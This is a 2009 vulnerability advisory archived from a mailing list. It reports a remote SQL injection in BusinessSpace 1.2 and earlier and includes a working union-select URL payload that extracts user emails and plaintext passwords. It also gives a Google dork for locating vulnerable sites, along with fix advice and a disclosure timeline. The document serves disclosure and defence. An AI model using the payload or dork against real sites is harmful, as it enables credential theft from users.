<<< Date Index >>>     <<< Thread Index >>>

[ECHO_ADV_102$2009] BusinessSpace <= 1.2 (id) Remote SQL Injection Vulnerability



ECHO_ADV_102$2009

-----------------------------------------------------------------------------------------
[ECHO_ADV_102$2009] BusinessSpace <= 1.2 (id) Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------

Author       : M.Hasran Addahroni
Date         : February, 7 th 2009
Location     : Jakarta, Indonesia
Web          : http://e-rdc.org/v1/news.php?readmore=123
Critical Lvl : Medium
Impact       : Manipulation of data / Exposure of sensitive information
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : BusinessSpace
version     : <= 1.2
Vendor      : http://www.business-space.org
Description :

BusinessSpace - Social Networking in a Box
BusinessSpace is an enterprise collaboration software designed to stand up to 
and keep in pace with today?s ever-evolving, rapidly-growing world of online 
business and entrepreneurship. Enterprise community software has been taken up 
to another lever by the developers of BusinessSpace separating itself from 
regular social networking software and community software. BusinessSpace is not 
just a social network CMS, not just a LinkedIn clone: it?s more than that. 
BusinessSpace was developed by business people, just like you. This means that 
this business networking software is laced with the features that a 
businessman, employer, employee or entrepreneur needs. No fancy community 
software applications, no fancy profiles: it?s simply strictly business. 
Because that?s what BusinessSpace enterprise social networking software is all 
about ? business.

Vulnerability:
~~~~~~~~~~~~

Input passed to the "id" parameter in classified.php page is not properly 
verified before being used 
in sql queries.This vulnerability can be exploited to manipulate SQL queries by 
injecting arbitrary SQL code.

Successful exploitation allows attacker retrieving users email and password in 
plain text.


Poc/Exploit:
~~~~~~~~

http://www.example.com/[path]/index.php?id=-1 union select 
1,concat(id,0x3a,name,0x3a,surname,0x3a,email,0x3a,password),3,4,5,6,7,8,9,10 
from users--&page=classified

Dork:
~~~
Google : "Create your personalized professional identity" or "Professional 
Networking Starts Here!"


Solution:
~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals in php.ini

Timeline:
~~~~~~~

- 01 - 02 - 2009 bug found
- 01 - 02 - 2009 vendor contacted but no response
- 06 - 02 - 2009 vendor contacted again still no response
- 07 - 02 - 2009 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~
~ ping - my dearest wife, zautha - my beloved son, and my next beloved daughter 
"welcome to the world".
~ y3dips,the_day (congratz for the 
baby),Negatif,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,
the_hydra,neng chika, str0ke
~ scanners [at] SCAN-NUSANTARA and SCAN-ASSOCIATES
~ SK,Abond,pokley,cybertank, 
super_temon,whatsoever,b120t0,inggar,fachri,adi,rahmat,indra
~ 
masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,cyb3rh3b,cR4SH3R,ogeb,bagan,devsheed
~ dr188le,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,ghostblup,shamus,
kuntua, stev_manado,nofry,k1tk4t,0pt1c,k1ngk0ng
~ newbie_hacker@xxxxxxxxxxxxxxx
~ milw0rm.com, macaholic.info, unitiga.com, mac.web.id, indowebster.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~

K-159 || echo|staff || adv[at]e-rdc[dot]org
Homepage: http://www.e-rdc.org/

-------------------------------- [ EOF ] ----------------------------------